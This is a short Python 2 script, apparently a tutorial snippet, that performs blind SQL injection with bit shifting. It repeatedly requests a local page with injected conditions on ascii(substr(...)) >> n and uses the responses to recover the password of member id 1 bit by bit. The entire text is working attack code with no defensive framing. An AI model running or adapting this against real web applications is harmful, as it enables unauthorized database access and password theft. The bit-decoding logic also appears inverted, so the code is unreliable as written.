Blind Sql Injection with Bit Shifting

from urllib import urlopen
host = "http://127.0.0.1/blind.php?id=1"
result = ""
Truematch = "admin"
sqlcmd = "select pass from member where id = 1"
def request(site,charpos,sqlcmd,match_str):
    result = 0
    for bitpos in range(7,-1,-1):
        result *= 2
        injection = "%s and (ascii((substr((%s),%d,1))) >> %d) = %d"%(host,sqlcmd,charpos,bitpos,result)
        opener = urlopen(injection)
        if match_str in opener.read():  result += 0
        else:   result += 1
    if result == 0: return False
    return chr(result)
charpos = 1
while 1:
    try:
        result += request(host,charpos,sqlcmd,Truematch)
        charpos += 1
    except Exception:
        print "%s => %s"%(sqlcmd,result)
        break